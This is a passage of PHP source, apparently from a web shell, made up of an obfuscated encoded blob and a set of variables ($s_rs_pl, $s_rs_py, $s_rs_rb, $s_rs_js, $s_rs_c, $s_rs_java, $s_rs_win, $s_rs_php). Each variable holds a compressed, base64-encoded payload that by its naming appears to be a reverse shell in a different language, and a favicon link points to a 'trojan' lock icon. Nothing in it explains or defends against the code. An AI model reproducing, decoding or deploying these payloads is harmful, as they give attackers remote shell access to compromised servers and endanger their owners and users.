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";
$s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
$s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
$s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
$s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU=";
$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
$s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP";
$s_rs_win = "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";
$s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8=";
$s_favicon = "http://png.findicons.com/files/icons/2799/flat_icons/128/trojan_lock_open.png";
